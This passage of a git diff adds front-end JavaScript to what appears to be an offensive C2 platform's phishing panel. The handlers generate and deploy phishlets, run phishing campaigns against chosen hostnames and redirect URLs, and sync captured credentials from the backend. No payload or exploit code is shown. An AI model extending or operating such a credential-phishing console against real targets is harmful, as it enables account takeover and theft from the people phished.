phishState.yaml = r.yaml || null; + phishState.output = ''; + toast('Phishlet generated — review the YAML', 'info'); + await loadPhish(); return; + } + if (action === 'phishlet-get') { + const r = await api(`/api/phish/phishlets/${encodeURIComponent(id)}`); + phishState.yaml = r.yaml || ''; + phishState.output = ''; + await loadPhish(); return; + } + if (action === 'phishlet-deploy') { + await c2Post(`/api/phish/phishlets/${encodeURIComponent(id)}/deploy`, {}); + await loadPhish(); return; + } + if (action === 'phishlet-delete') { + if (!window.confirm('Delete this phishlet file and record?')) return; + await api(`/api/phish/phishlets/${encodeURIComponent(id)}`, { method: 'DELETE' }); + phishState.yaml = null; + await loadPhish(); return; + } + if (action === 'campaign-create') { + await c2Post('/api/phish/campaigns', { + name: $('#phCampName')?.value.trim() || 'campaign', + phishlet: $('#phCampPhishlet')?.value || '', + hostname: $('#phCampHost')?.value.trim() || '', + redirect_url: $('#phCampRedirect')?.value || '', + }); + await loadPhish(); return; + } + if (action === 'campaign-start' || action === 'campaign-stop') { + await c2Post(`/api/phish/campaigns/${encodeURIComponent(id)}/${action === 'campaign-start' ? 'start' : 'stop'}`, {}); + await loadPhish(); return; + } + if (action === 'campaign-delete') { + if (!window.confirm('Delete this campaign?')) return; + await api(`/api/phish/campaigns/${encodeURIComponent(id)}`, { method: 'DELETE' }); + await loadPhish(); return; + } + if (action === 'capture-sync') { + const r = await c2Post('/api/phish/captures/sync', {}); + phishState.output = `imported ${r.imported || 0} capture(s) from ${r.source || ''}`; + await loadPhish(); return; + } + } catch (e) { + toast(e.message, 'error', 9000); + } +}); + +$('#btnPhishRefresh')?.addEventListener('click', () => loadPhish()); + + // --------------------------------------------------------------------------- // Toolbox — 200+ real tools + MCP tool servers // --------------------------------------------------------------------------- diff --git a/web/public/index.html b/web/public/index.html index b3b3236..3b42510 100644 --- a/web/public/index.html +++ b/web/public/index.html @@ -53,6 +53,7 @@
+ @@ -304,6 +305,19 @@
Loading…
+ + +